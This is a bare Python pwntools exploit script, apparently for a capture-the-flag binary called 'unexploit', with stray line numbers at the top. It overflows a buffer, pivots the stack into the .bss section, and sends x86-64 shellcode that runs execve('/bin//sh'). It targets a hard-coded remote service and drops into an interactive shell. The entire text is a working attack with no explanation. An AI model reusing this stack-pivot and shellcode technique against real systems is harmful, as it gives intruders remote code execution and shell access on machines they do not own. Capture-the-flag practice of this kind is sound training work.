1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| #!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("unexploit")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./unexploit")
else:
sh = remote(ip,port)
offset = 8
payload = offset * 'a'
payload += p64(elf.bss() - 0x8)
payload += p64(0x40068A)
sh.send(payload)
offset = 8
payload = offset * "a"
payload += p64(elf.bss() + 0x8)
payload += p64(0x40068A)
payload += 'a' * 8
sleep(0.1)
sh.send(payload)
pop_rdi_ret = 0x400713
payload = p64(0x601058)
payload += "\x48\x31\xf6\x56\x48\xbf"
payload +="\x2f\x62\x69\x6e\x2f"
payload += "\x2f\x73\x68\x57\x54"
payload += "\x5f\xb0\x3b\x99\x0f\x05"
sleep(0.1)
sh.send(payload)
sh.interactive()
if __name__ == "__main__":
pwn("101.71.29.5",10002,0)
|
